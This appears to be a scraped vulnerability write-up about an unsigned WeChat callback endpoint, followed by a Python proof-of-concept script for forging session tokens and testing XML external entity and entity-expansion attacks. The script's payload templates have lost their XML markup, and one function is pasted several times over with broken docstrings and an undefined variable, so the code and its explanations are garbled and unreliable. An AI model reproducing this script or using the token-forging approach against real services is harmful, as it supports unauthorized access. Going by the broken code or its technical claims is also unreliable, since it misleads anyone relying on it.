WeChat callback unsigned vulnerability analysis with XSE fix PoC

Vulnerability Key Information Summary Vulnerability Overview Vulnerability Name: in the project Vulnerability Type: Unsigned WeChat callback Vulnerability Description: This file implements an HTTP service that simulates a WeChat callback, used to demonstrate the handling logic for unsigned callback requests. Scope of Impact Affected Component: Impact Scenarios: The WeChat callback interface does not perform signature verification, which may lead to unauthorized access or data tampering. Related Code Location: Remediation Core Fix: Add signature verification logic in the callback handler function. Implementation Details: - In the function, verify the signature of the incoming parameter. - Use the function to validate the legitimacy of the request. - If signature verification fails, return a 403 status code. POC Code ```python #!/usr/bin/python3 -- coding: utf-8 -- C10 - WeChat wechat_callback: unsigned WeChat callback - session token forging: doead 1.1 XSE Source evidence: wechatCallback.java:80-213 index() (POST): No signature check; the Ticket comes from the request and is written to the redis key "USER_TOKEN_TICKET" wechatCallback.java:66-78 wechatCallback (GET): is the only one that calls wechatCallback.java:246-264 ticketSignVerifySignature(ticket) reads the session token with the same key AuthenticationInterceptor.java:68-85 the same key prefix is used for authentication SignUtil.java:75 the ticket is the session token SignUtil.java:80-92 the encoded signature token "regulator" WebSecurityConfig.java:63 new SAXParser().parse(inputStream) - doead 1.1, no XSE protection wechat/ = permitAll Three modes: A. XSE: one-file in-band / --xse-out-of-band / --xse-hmm-entity-expansion proof B. Session forging (in-band) --ticket C. Session validity verification (--verify-session) For use in an authorized test environment only. from __future__ import annotations import argparse import http.server import socket import os import re import sys import threading import time import xml.etree.ElementTree as ET sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from mogo_db_common import (add_common_args, describe_get_data, is_success, make_client, start_server, require_username, verify_id, dump_results) ENDPOINT = "/wechat/wechatCallback" LOGIC_STATUS = "wechat/getWechatLogistics" SESSION_MODE = "auto/common/getWechatSessionCount" read-only, requires login def set_api_url(doctype, system, ticket): """In-band XSE: put the file content into FromFileName; the server echoes it back into the response (FromName).""" return f""" {doctype} {system} {ticket} {ticket} {ticket} text hello """.strip() def set_xml_callback(ticket): """Out-of-band XSE: first write an external file (already enough to prove external entity resolution), then execute a file with that file.""" return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_file_uri(path): """Normalize a local path into a file:// URI (handles os.path and Windows-style paths).""" if "://" in path: return path return "file://" + path.lstrip("/") def set_xml_callback_file(target_file): """Out-of-band XSE: first write an external file (already enough to prove external entity resolution), then execute a file with that file.""" return f""" xml xml {ticket} {target_file} {target_file} text hello """.strip() def set_xml_level(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes.""" entity_expansion = bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes. ents = ["ENTITY xml" for _ in range(level)] return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_xml_level_file(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes.""" entity_expansion = bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes. ents = ["ENTITY xml" for _ in range(level)] return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_xml_level_file(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes.""" entity_expansion = bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes. ents = ["ENTITY xml" for _ in range(level)] return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_xml_level_file(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes.""" entity_expansion = bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes. ents = ["ENTITY xml" for _ in range(level)] return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_xml_level_file(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes.""" entity_expansion = bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes. ents = ["ENTITY xml" for _ in range(level)] return f""" xml xml {ticket} {ticket} {ticket} text hello """.strip() def set_xml_level_file(level, ticket): """Entity expansion: bold="xml" (30), level = 10 + 10(N-1) -- 31st level bytes

Goal Reached Thanks to every supporter — we hit 100%!

WeChat callback unsigned vulnerability analysis with XSE fix PoC

More from this source